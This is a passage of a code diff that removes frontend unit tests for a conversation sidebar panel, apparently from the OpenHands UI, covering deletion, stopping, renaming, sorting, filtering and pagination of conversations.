Playwright. - expect(cards[0]).toHaveAttribute("data-context-menu-open", "false"); - - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - const deleteButton = screen.getByTestId("delete-button"); - - // Click the first delete button - await user.click(deleteButton); - - // Cancel the deletion - const cancelButton = screen.getByRole("button", { name: /cancel/i }); - await user.click(cancelButton); - - expect( - screen.queryByRole("button", { name: /cancel/i }), - ).not.toBeInTheDocument(); - - // Ensure the conversation is not deleted - cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(3); - }); - - it("should delete a conversation", async () => { - const user = userEvent.setup(); - const mockData: AppConversation[] = [ - createMockConversation({ id: "1", title: "Conversation 1" }), - createMockConversation({ id: "2", title: "Conversation 2" }), - createMockConversation({ id: "3", title: "Conversation 3" }), - ]; - - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy.mockImplementation(async () => ({ - items: mockData, - next_page_id: null, - })); - - const deleteConversationSpy = vi.spyOn( - AgentServerConversationService, - "deleteConversation", - ); - deleteConversationSpy.mockImplementation(async (id: string) => { - const index = mockData.findIndex((conv) => conv.id === id); - if (index !== -1) { - mockData.splice(index, 1); - } - }); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - // Initially shows 3 conversations (no filtering) - expect(cards).toHaveLength(3); - - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - const deleteButton = screen.getByTestId("delete-button"); - - // Click the first delete button - await user.click(deleteButton); - - // Confirm the deletion - const confirmButton = screen.getByRole("button", { name: /confirm/i }); - await user.click(confirmButton); - - // Verify modal is closed after confirmation - expect( - screen.queryByRole("button", { name: /confirm/i }), - ).not.toBeInTheDocument(); - }); - - it("should call onClose after clicking a card", async () => { - const user = userEvent.setup(); - renderConversationPanel(); - const cards = await screen.findAllByTestId("conversation-card"); - const firstCard = cards[1]; - - await user.click(firstCard); - - expect(onCloseMock).toHaveBeenCalledOnce(); - }); - - it("should refetch data on rerenders", async () => { - const user = userEvent.setup(); - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy.mockResolvedValue({ - items: [...mockConversations], - next_page_id: null, - }); - - function PanelWithToggle() { - const [isOpen, setIsOpen] = React.useState(true); - return ( - <> - - {isOpen && } - - ); - } - - const MyRouterStub = createRoutesStub([ - { - Component: PanelWithToggle, - path: "/", - }, - ]); - - renderWithProviders(); - - const toggleButton = screen.getByText("Toggle"); - - // Initial render - const cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(3); - - // Toggle off - await user.click(toggleButton); - expect(screen.queryByTestId("conversation-card")).not.toBeInTheDocument(); - - // Toggle on - await user.click(toggleButton); - const newCards = await screen.findAllByTestId("conversation-card"); - expect(newCards).toHaveLength(3); - }); - - it("keeps invalid timestamps recent and shows older conversations by default", async () => { - const now = Date.now(); - const minutesAgo = (minutes: number) => - new Date(now - minutes * 60 * 1000).toISOString(); - - const user = userEvent.setup(); - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy.mockReset(); - searchConversationsSpy - .mockResolvedValueOnce({ - items: [ - createMockConversation({ - id: "recent", - title: "Recent Conversation", - updated_at: minutesAgo(59), - }), - createMockConversation({ - id: "invalid", - title: "Invalid Timestamp", - updated_at: "invalid-date", - }), - createMockConversation({ - id: "missing", - title: "Missing Timestamp", - updated_at: undefined as unknown as string, - }), - createMockConversation({ - id: "older", - title: "Older Conversation", - updated_at: minutesAgo(61), - }), - ], - next_page_id: "page-2", - }) - .mockResolvedValueOnce({ - items: [ - createMockConversation({ - id: "paged", - title: "Paged Conversation", - updated_at: minutesAgo(30), - }), - ], - next_page_id: null, - }); - - renderConversationPanel(); - - expect(await screen.findByText("Recent Conversation")).toBeInTheDocument(); - expect(screen.getByText("Invalid Timestamp")).toBeInTheDocument(); - expect(screen.getByText("Missing Timestamp")).toBeInTheDocument(); - expect(screen.getByText("Older Conversation")).toBeInTheDocument(); - expect( - screen.getByTestId("older-conversations-summary"), - ).toBeInTheDocument(); - expect(screen.getByTestId("load-more-conversations")).toBeInTheDocument(); - - await user.click(screen.getByTestId("load-more-conversations")); - - await waitFor(() => { - expect(searchConversationsSpy).toHaveBeenCalledWith(20, "page-2"); - }); - expect(await screen.findByText("Paged Conversation")).toBeInTheDocument(); - }); - - it("orders the entire visible list by created_at when Created sort is selected, across the recent/older partition", async () => { - // Arrange: three conversations whose `created_at` ordering diverges - // from `updated_at` across the 1-hour partition cutoff. If the panel - // honored only the within-bucket sort, "Old Touched" (created 10d ago - // but touched 30m ago) would render in the recent bucket *above* the - // "Mid Stale" / "Newest Stale" entries that live in the older bucket - // but were created more recently. Created-sort must order the whole - // visible list by `created_at`, not just within each partition. - const now = Date.now(); - const isoMinutesAgo = (m: number) => - new Date(now - m * 60 * 1000).toISOString(); - const isoDaysAgo = (d: number) => - new Date(now - d * 24 * 60 * 60 * 1000).toISOString(); - - useConversationPanelPreferencesStore.setState({ - conversationSort: "updated", - organizeMode: "chronological", - showOlderConversations: true, - }); - - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "old-touched", - title: "Old Touched", - created_at: isoDaysAgo(10), - updated_at: isoMinutesAgo(30), - }), - createMockConversation({ - id: "newest-stale", - title: "Newest Stale", - created_at: isoDaysAgo(1), - updated_at: isoDaysAgo(1), - }), - createMockConversation({ - id: "mid-stale", - title: "Mid Stale", - created_at: isoDaysAgo(3), - updated_at: isoDaysAgo(3), - }), - ], - next_page_id: null, - }); - - const user = userEvent.setup(); - renderConversationPanel(); - await screen.findByText("Old Touched"); - - // Act: open the filter menu and switch sort to Created. - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - await user.click( - screen.getByRole("menuitemradio", { - name: /CONVERSATION_PANEL\$SORT_CREATED/, - }), - ); - - // Assert: rendered cards are in strict created_at desc order across - // the full visible list, regardless of which partition they came from. - const cards = await screen.findAllByTestId("conversation-card"); - expect(cards.map((card) => card.textContent ?? "")).toEqual([ - expect.stringContaining("Newest Stale"), - expect.stringContaining("Mid Stale"), - expect.stringContaining("Old Touched"), - ]); - }); - - it("should cancel stopping a conversation", async () => { - const user = userEvent.setup(); - - // Create mock data with a RUNNING conversation - const mockRunningConversations: AppConversation[] = [ - createMockConversation({ - id: "1", - title: "Running Conversation", - execution_status: ExecutionStatus.RUNNING, - }), - createMockConversation({ - id: "2", - title: "Starting Conversation", - execution_status: ExecutionStatus.RUNNING, - }), - createMockConversation({ - id: "3", - title: "Stopped Conversation", - execution_status: ExecutionStatus.PAUSED, - }), - ]; - - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy.mockResolvedValue({ - items: mockRunningConversations, - next_page_id: null, - }); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(3); - - // Click ellipsis on the first card (RUNNING status) - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - // Stop button should be available for RUNNING conversation - const stopButton = screen.getByTestId("stop-button"); - expect(stopButton).toBeInTheDocument(); - - // Click the stop button - await user.click(stopButton); - - // Cancel the stopping action - const cancelButton = screen.getByRole("button", { name: /cancel/i }); - await user.click(cancelButton); - - expect( - screen.queryByRole("button", { name: /cancel/i }), - ).not.toBeInTheDocument(); - - // Ensure the conversation status hasn't changed - const updatedCards = await screen.findAllByTestId("conversation-card"); - expect(updatedCards).toHaveLength(3); - }); - - it("should stop a conversation", async () => { - const user = userEvent.setup(); - - const mockData: AppConversation[] = [ - createMockConversation({ - id: "1", - title: "Conversation 1", - execution_status: ExecutionStatus.RUNNING, - }), - createMockConversation({ - id: "2", - title: "Conversation 2", - execution_status: ExecutionStatus.FINISHED, - }), - createMockConversation({ - id: "3", - title: "Conversation 3", - execution_status: ExecutionStatus.FINISHED, - }), - ]; - - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy.mockImplementation(async () => ({ - items: mockData, - next_page_id: null, - })); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - // Component shows all 3 conversations (no filtering by status) - expect(cards).toHaveLength(3); - - // Click ellipsis on the first card (RUNNING status) - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - const stopButton = screen.getByTestId("stop-button"); - - // Click the stop button - await user.click(stopButton); - - // Confirm the stopping action - const confirmButton = screen.getByRole("button", { name: /confirm/i }); - await user.click(confirmButton); - - expect( - screen.queryByRole("button", { name: /confirm/i }), - ).not.toBeInTheDocument(); - - // Verify the mutation was called - expect(mockStopConversationMutate).toHaveBeenCalledWith({ - conversationId: "1", - }); - expect(mockStopConversationMutate).toHaveBeenCalledTimes(1); - }); - - it("should only show stop button for STARTING or RUNNING conversations", async () => { - const user = userEvent.setup(); - - const mockMixedStatusConversations: AppConversation[] = [ - createMockConversation({ - id: "1", - title: "Running Conversation", - execution_status: ExecutionStatus.RUNNING, - }), - createMockConversation({ - id: "2", - title: "Starting Conversation", - execution_status: ExecutionStatus.RUNNING, - }), - createMockConversation({ - id: "3", - title: "Stopped Conversation", - execution_status: ExecutionStatus.PAUSED, - }), - ]; - - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy.mockResolvedValue({ - items: mockMixedStatusConversations, - next_page_id: null, - }); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(3); - - const getCardByTitle = async (title: string) => { - const currentCards = await screen.findAllByTestId("conversation-card"); - const card = currentCards.find((candidate) => - within(candidate).queryByText(title), - ); - expect(card).toBeDefined(); - return card as HTMLElement; - }; - - // Test RUNNING conversation - should show stop button - const runningCard = await getCardByTitle("Running Conversation"); - const runningEllipsisButton = within(runningCard).getByTestId( - "ellipsis-button", - ); - await user.click(runningEllipsisButton); - - expect(await screen.findByTestId("stop-button")).toBeInTheDocument(); - - // Click outside to close the menu - await user.click(document.body); - - // Wait for context menu to close before opening the next one. - await waitFor(() => { - expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument(); - }); - - // Test STARTING/RUNNING conversation - should show stop button - const startingCard = await getCardByTitle("Starting Conversation"); - const startingEllipsisButton = within(startingCard).getByTestId( - "ellipsis-button", - ); - await user.click(startingEllipsisButton); - - expect(await screen.findByTestId("stop-button")).toBeInTheDocument(); - - // Click outside to close the menu - await user.click(document.body); - - // Wait for context menu to close before opening the next one. - await waitFor(() => { - expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument(); - }); - - // Test STOPPED conversation - should NOT show stop button - const stoppedCard = await getCardByTitle("Stopped Conversation"); - const stoppedEllipsisButton = within(stoppedCard).getByTestId( - "ellipsis-button", - ); - await user.click(stoppedEllipsisButton); - - await waitFor(() => { - expect(stoppedCard).toHaveAttribute("data-context-menu-open", "true"); - }); - expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument(); - }); - - it("should show edit button in context menu", async () => { - const user = userEvent.setup(); - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(3); - - // Click ellipsis to open context menu - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - // Edit button should be visible within the first card's context menu - const editButton = screen.getByTestId("edit-button"); - expect(editButton).toBeInTheDocument(); - expect(editButton).toHaveTextContent("BUTTON$RENAME"); - }); - - it("should enter edit mode when edit button is clicked", async () => { - const user = userEvent.setup(); - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Click ellipsis to open context menu - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - // Click edit button within the first card's context menu - const editButton = screen.getByTestId("edit-button"); - await user.click(editButton); - - // Should find input field instead of title text - const titleInput = within(cards[0]).getByTestId("conversation-card-title"); - expect(titleInput).toBeInTheDocument(); - expect(titleInput.tagName).toBe("INPUT"); - expect(titleInput).toHaveValue("Conversation 1"); - expect(titleInput).toHaveFocus(); - }); - - it("should successfully update conversation title", async () => { - const user = userEvent.setup(); - - // Mock the updateConversationTitle API call - const updateConversationTitleSpy = vi.spyOn( - AgentServerConversationService, - "updateConversationTitle", - ); - updateConversationTitleSpy.mockResolvedValue( - createMockConversation({ id: "1", title: "Updated Title" }), - ); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Enter edit mode - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - const editButton = screen.getByTestId("edit-button"); - await user.click(editButton); - - // Edit the title - const titleInput = within(cards[0]).getByTestId("conversation-card-title"); - await user.clear(titleInput); - await user.type(titleInput, "Updated Title"); - - // Blur the input to save - await user.tab(); - - // Verify API call was made with correct parameters - expect(updateConversationTitleSpy).toHaveBeenCalledWith( - "1", - "Updated Title", - ); - }); - - it("should save title when Enter key is pressed", async () => { - const user = userEvent.setup(); - - const updateConversationTitleSpy = vi.spyOn( - AgentServerConversationService, - "updateConversationTitle", - ); - updateConversationTitleSpy.mockResolvedValue( - createMockConversation({ id: "1", title: "Updated Title" }), - ); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Enter edit mode - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - const editButton = screen.getByTestId("edit-button"); - await user.click(editButton); - - // Edit the title and press Enter - const titleInput = within(cards[0]).getByTestId("conversation-card-title"); - await user.clear(titleInput); - await user.type(titleInput, "Title Updated via Enter"); - await user.keyboard("{Enter}"); - - // Verify API call was made - expect(updateConversationTitleSpy).toHaveBeenCalledWith( - "1", - "Title Updated via Enter", - ); - }); - - it("should trim whitespace from title", async () => { - const user = userEvent.setup(); - - const updateConversationTitleSpy = vi.spyOn( - AgentServerConversationService, - "updateConversationTitle", - ); - updateConversationTitleSpy.mockResolvedValue( - createMockConversation({ id: "1", title: "Updated Title" }), - ); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Enter edit mode - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - const editButton = screen.getByTestId("edit-button"); - await user.click(editButton); - - // Edit the title with extra whitespace - const titleInput = within(cards[0]).getByTestId("conversation-card-title"); - await user.clear(titleInput); - await user.type(titleInput, " Trimmed Title "); - await user.tab(); - - // Verify API call was made with trimmed title - expect(updateConversationTitleSpy).toHaveBeenCalledWith( - "1", - "Trimmed Title", - ); - }); - - it("should revert to original title when empty", async () => { - const user = userEvent.setup(); - - const updateConversationTitleSpy = vi.spyOn( - AgentServerConversationService, - "updateConversationTitle", - ); - updateConversationTitleSpy.mockResolvedValue( - createMockConversation({ id: "1", title: "Updated Title" }), - ); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Enter edit mode - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - const editButton = screen.getByTestId("edit-button"); - await user.click(editButton); - - // Clear the title completely - const titleInput = within(cards[0]).getByTestId("conversation-card-title"); - await user.clear(titleInput); - await user.tab(); - - // Verify API was not called - expect(updateConversationTitleSpy).not.toHaveBeenCalled(); - }); - - it("should handle API error when updating title", async () => { - const user = userEvent.setup(); - - const updateConversationTitleSpy = vi.spyOn( - AgentServerConversationService, - "updateConversationTitle", - ); - updateConversationTitleSpy.mockRejectedValue(new Error("API Error")); - // Provide return type for mock - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Enter edit mode - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - const editButton = screen.getByTestId("edit-button"); - await user.click(editButton); - - // Edit the title - const titleInput = within(cards[0]).getByTestId("conversation-card-title"); - await user.clear(titleInput); - await user.type(titleInput, "Failed Update"); - await user.tab(); - - // Verify API call was made - expect(updateConversationTitleSpy).toHaveBeenCalledWith( - "1", - "Failed Update", - ); - - // Wait for error handling - await waitFor(() => { - expect(updateConversationTitleSpy).toHaveBeenCalled(); - }); - }); - - it("should close context menu when edit button is clicked", async () => { - const user = userEvent.setup(); - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Click ellipsis to open context menu - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - // Verify context menu is open (portaled to document.body) - const contextMenu = screen.getByTestId("context-menu"); - expect(contextMenu).toBeInTheDocument(); - - // Click edit button within the open context menu - const editButton = screen.getByTestId("edit-button"); - await user.click(editButton); - - // Wait for context menu to close after edit button click. - await waitFor(() => { - expect(cards[0]).toHaveAttribute("data-context-menu-open", "false"); - }); - }); - - it("should not call API when title is unchanged", async () => { - const user = userEvent.setup(); - - const updateConversationTitleSpy = vi.spyOn( - AgentServerConversationService, - "updateConversationTitle", - ); - updateConversationTitleSpy.mockResolvedValue( - createMockConversation({ id: "1", title: "Updated Title" }), - ); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Enter edit mode - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - const editButton = screen.getByTestId("edit-button"); - await user.click(editButton); - - // Don't change the title, just blur - await user.tab(); - - // Verify API was NOT called with the same title (since handleConversationTitleChange will always be called) - expect(updateConversationTitleSpy).not.toHaveBeenCalledWith("1", { - title: "Conversation 1", - }); - }); - - it("should handle special characters in title", async () => { - const user = userEvent.setup(); - - const updateConversationTitleSpy = vi.spyOn( - AgentServerConversationService, - "updateConversationTitle", - ); - updateConversationTitleSpy.mockResolvedValue( - createMockConversation({ id: "1", title: "Updated Title" }), - ); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Enter edit mode - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - const editButton = screen.getByTestId("edit-button"); - await user.click(editButton); - - // Edit the title with special characters - const titleInput = within(cards[0]).getByTestId("conversation-card-title"); - await user.clear(titleInput); - await user.type(titleInput, "Special @#$%^&*()_+ Characters"); - await user.tab(); - - // Verify API call was made with special characters - expect(updateConversationTitleSpy).toHaveBeenCalledWith( - "1", - "Special @#$%^&*()_+ Characters", - ); - }); - - it("should close delete modal when clicking backdrop", async () => { - const user = userEvent.setup(); - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Open context menu and click delete - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - const deleteButton = screen.getByTestId("delete-button"); - await user.click(deleteButton); - - // Modal should be visible - expect( - screen.getByRole("button", { name: /confirm/i }), - ).toBeInTheDocument(); - - // Click the backdrop (the dark overlay behind the modal) - const backdrop = document.querySelector(".bg-black.opacity-60"); - expect(backdrop).toBeInTheDocument(); - await user.click(backdrop!); - - // Modal should be closed - expect( - screen.queryByRole("button", { name: /confirm/i }), - ).not.toBeInTheDocument(); - }); - - it("should close stop modal when clicking backdrop", async () => { - const user = userEvent.setup(); - - // Create mock data with a RUNNING conversation - const mockRunningConversations: AppConversation[] = [ - createMockConversation({ - id: "1", - title: "Running Conversation", - execution_status: ExecutionStatus.RUNNING, - }), - createMockConversation({ - id: "2", - title: "Starting Conversation", - execution_status: ExecutionStatus.RUNNING, - }), - createMockConversation({ - id: "3", - title: "Stopped Conversation", - execution_status: ExecutionStatus.PAUSED, - }), - ]; - - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: mockRunningConversations, - next_page_id: null, - }); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - - // Open context menu and click stop - const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - const stopButton = screen.getByTestId("stop-button"); - await user.click(stopButton); - - // Modal should be visible - expect( - screen.getByRole("button", { name: /confirm/i }), - ).toBeInTheDocument(); - - // Click the backdrop - const backdrop = document.querySelector(".bg-black.opacity-60"); - expect(backdrop).toBeInTheDocument(); - await user.click(backdrop!); - - // Modal should be closed - expect( - screen.queryByRole("button", { name: /confirm/i }), - ).not.toBeInTheDocument(); - }); - - describe("older conversations cutoff", () => { - const recentIso = () => new Date().toISOString(); - const olderIso = () => - new Date(Date.now() - 2 * 60 * 60 * 1000).toISOString(); - - it("shows conversations older than 1h and includes a summary line", async () => { - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "recent", - title: "Recent", - updated_at: recentIso(), - }), - createMockConversation({ - id: "old1", - title: "Old 1", - updated_at: olderIso(), - }), - createMockConversation({ - id: "old2", - title: "Old 2", - updated_at: olderIso(), - }), - ], - next_page_id: null, - }); - - renderConversationPanel(); - - const cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(3); - expect(screen.getByText("Recent")).toBeInTheDocument(); - expect(screen.getByText("Old 1")).toBeInTheDocument(); - expect(screen.getByText("Old 2")).toBeInTheDocument(); - - const summary = screen.getByTestId("older-conversations-summary"); - expect(summary).toHaveTextContent("SIDEBAR$CONVERSATIONS"); - expect( - within(summary).getByTestId("older-conversations-filter-toggle"), - ).toBeInTheDocument(); - }); - - it("always renders the conversations header with the filter control", async () => { - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "recent1", - title: "Recent 1", - updated_at: recentIso(), - }), - createMockConversation({ - id: "recent2", - title: "Recent 2", - updated_at: recentIso(), - }), - ], - next_page_id: null, - }); - - renderConversationPanel(); - - await screen.findAllByTestId("conversation-card"); - const summary = screen.getByTestId("older-conversations-summary"); - expect(summary).toBeInTheDocument(); - expect( - within(summary).getByTestId("older-conversations-filter-toggle"), - ).toBeInTheDocument(); - }); - - it("shows icons on hide and delete-all filter menu actions", async () => { - const user = userEvent.setup(); - renderConversationPanel(); - - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - - const hideRow = await screen.findByTestId("toggle-older-conversations"); - expect(hideRow.querySelector("svg")).toBeInTheDocument(); - expect(hideRow).toHaveClass("group"); - - const deleteAllRow = screen.getByTestId("delete-all-conversations"); - expect(deleteAllRow.querySelector("svg")).toBeInTheDocument(); - expect(deleteAllRow).toHaveClass("text-[var(--oh-foreground)]"); - expect(deleteAllRow).not.toHaveClass("text-danger"); - }); - - it("toggles older conversations visibility via the filter dropdown", async () => { - const user = userEvent.setup(); - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "recent", - title: "Recent", - updated_at: recentIso(), - }), - createMockConversation({ - id: "old1", - title: "Old 1", - updated_at: olderIso(), - }), - ], - next_page_id: null, - }); - - renderConversationPanel(); - - let cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(2); - - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - let toggle = await screen.findByTestId("toggle-older-conversations"); - expect(toggle).toHaveTextContent("CONVERSATION$HIDE"); - await user.click(toggle); - - cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(1); - - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - toggle = await screen.findByTestId("toggle-older-conversations"); - expect(toggle).toHaveTextContent("CONVERSATION$SHOW_ALL"); - await user.click(toggle); - cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(2); - }); - - it("keeps repo/branch metadata hidden by default and toggles it from the filter dropdown", async () => { - const user = userEvent.setup(); - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "recent", - title: "Recent", - updated_at: recentIso(), - }), - createMockConversation({ - id: "old-with-repo", - title: "Old With Repo", - updated_at: olderIso(), - selected_repository: "openhands/agent-canvas", - selected_branch: "main", - git_provider: "github", - }), - ], - next_page_id: null, - }); - - renderConversationPanel(); - await screen.findByText("Old With Repo"); - - expect( - screen.queryByTestId("conversation-card-selected-repository"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("conversation-card-selected-branch"), - ).not.toBeInTheDocument(); - - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - await user.click(screen.getByTestId("toggle-repo-branch-metadata")); - - expect( - await screen.findByTestId("conversation-card-selected-repository"), - ).toHaveTextContent("openhands/agent-canvas"); - expect( - await screen.findByTestId("conversation-card-selected-branch"), - ).toHaveTextContent("main"); - }); - - it("delete-all is enabled when no conversations are older than the cutoff and deletes every loaded conversation", async () => { - const user = userEvent.setup(); - const deleteSpy = vi - .spyOn(AgentServerConversationService, "deleteConversation") - .mockResolvedValue(); - - // Fixture: only recent conversations (none older than 1h). Before the - // fix the "Delete all" button was disabled in this state. - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "recent-1", - title: "Recent 1", - updated_at: recentIso(), - }), - createMockConversation({ - id: "recent-2", - title: "Recent 2", - updated_at: recentIso(), - }), - ], - next_page_id: null, - }); - - renderConversationPanel(); - await screen.findAllByTestId("conversation-card"); - - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - const deleteAllButton = await screen.findByTestId( - "delete-all-conversations", - ); - expect(deleteAllButton).toBeEnabled(); - - await user.click(deleteAllButton); - await user.click(await screen.findByRole("button", { name: /confirm/i })); - - await waitFor(() => { - expect(deleteSpy).toHaveBeenCalledTimes(2); - }); - expect(deleteSpy).toHaveBeenCalledWith("recent-1"); - expect(deleteSpy).toHaveBeenCalledWith("recent-2"); - }); - - it("navigates away after the active conversation is deleted successfully even when another deletion fails", async () => { - const user = userEvent.setup(); - const navigate = vi.fn(); - const deleteSpy = vi - .spyOn(AgentServerConversationService, "deleteConversation") - .mockImplementation(async (conversationId: string) => { - if (conversationId === "old2") { - throw new Error("delete failed"); - } - }); - - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "recent", - title: "Recent", - updated_at: recentIso(), - }), - createMockConversation({ - id: "old1", - title: "Old 1", - updated_at: olderIso(), - }), - createMockConversation({ - id: "old2", - title: "Old 2", - updated_at: olderIso(), - }), - ], - next_page_id: null, - }); - - // Active conversation is "old1" — it is among the conversations that - // get deleted successfully, so we should navigate away. - renderConversationPanel({ - navigation: { conversationId: "old1", navigate }, - }); - await screen.findAllByTestId("conversation-card"); - - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - await user.click(screen.getByTestId("delete-all-conversations")); - await user.click(await screen.findByRole("button", { name: /confirm/i })); - - await waitFor(() => { - expect(deleteSpy).toHaveBeenCalledTimes(3); - }); - expect(displayErrorToast).toHaveBeenCalledWith( - "1 conversation could not be deleted.", - ); - expect(navigate).toHaveBeenCalledWith("/conversations"); - }); - - it("does not navigate away when the active conversation fails to delete", async () => { - const user = userEvent.setup(); - const navigate = vi.fn(); - const deleteSpy = vi - .spyOn(AgentServerConversationService, "deleteConversation") - .mockImplementation(async (conversationId: string) => { - if (conversationId === "old1") { - throw new Error("delete failed"); - } - }); - - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "recent", - title: "Recent", - updated_at: recentIso(), - }), - createMockConversation({ - id: "old1", - title: "Old 1", - updated_at: olderIso(), - }), - createMockConversation({ - id: "old2", - title: "Old 2", - updated_at: olderIso(), - }), - ], - next_page_id: null, - }); - - // Active conversation is "old1" — its deletion fails, so we must - // not navigate away from it. - renderConversationPanel({ - navigation: { conversationId: "old1", navigate }, - }); - await screen.findAllByTestId("conversation-card"); - - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - await user.click(screen.getByTestId("delete-all-conversations")); - await user.click(await screen.findByRole("button", { name: /confirm/i })); - - await waitFor(() => { - expect(deleteSpy).toHaveBeenCalledTimes(3); - }); - expect(displayErrorToast).toHaveBeenCalledWith( - "1 conversation could not be deleted.", - ); - expect(navigate).not.toHaveBeenCalled(); - }); - }); - - describe("active conversation highlight", () => { - it("marks the currently active conversation with data-active=true", async () => { - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ id: "1", title: "Conversation 1" }), - createMockConversation({ id: "2", title: "Conversation 2" }), - createMockConversation({ id: "3", title: "Conversation 3" }), - ], - next_page_id: null, - }); - - renderWithProviders(, { - navigation: { conversationId: "2", currentPath: "/conversations/2" }, - }); - - const cards = await screen.findAllByTestId("conversation-card"); - expect(cards).toHaveLength(3); - expect(cards[0]).toHaveAttribute("data-active", "false"); - expect(cards[1]).toHaveAttribute("data-active", "true"); - expect(cards[2]).toHaveAttribute("data-active", "false"); - }); - - it("renders no active card when no conversation is selected", async () => { - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [createMockConversation({ id: "1", title: "Conversation 1" })], - next_page_id: null, - }); - - renderWithProviders(, { - navigation: { conversationId: null, currentPath: "/" }, - }); - - const cards = await screen.findAllByTestId("conversation-card"); - expect(cards[0]).toHaveAttribute("data-active", "false"); - }); - }); - - describe("load-more link", () => { - const recentIso = () => new Date().toISOString(); - const olderIso = () => - new Date(Date.now() - 2 * 60 * 60 * 1000).toISOString(); - - it("shows a load-more link when there is a next page and no older conversations are hidden", async () => { - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "recent", - title: "Recent", - updated_at: recentIso(), - }), - ], - next_page_id: "page-2", - }); - - renderConversationPanel(); - - await screen.findAllByTestId("conversation-card"); - const loadMore = await screen.findByTestId("load-more-conversations"); - expect(loadMore).toHaveTextContent("CONVERSATION$LOAD_MORE"); - }); - - it("hides the load-more link 